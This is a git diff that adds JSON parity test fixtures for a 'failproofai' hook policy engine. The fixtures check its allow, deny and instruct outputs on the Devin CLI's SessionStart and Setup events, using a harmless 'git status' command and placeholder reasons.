b/__tests__/parity/fixtures/devin/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7b7aa9e2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..88f10f9a --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..182af147 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..91ba5135 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8cd27130 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e9380b67 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..808f3ca9 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1847771a --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0aa0944f --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..6c6cd136 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..8053bfdd --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d2d24db9 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2427f2ee --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..deb2563d --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..9910cfb4 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..68fae7c9 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..eea2a1c9 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..738d4204 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..6a8e67b2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..6ee7eabd --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ 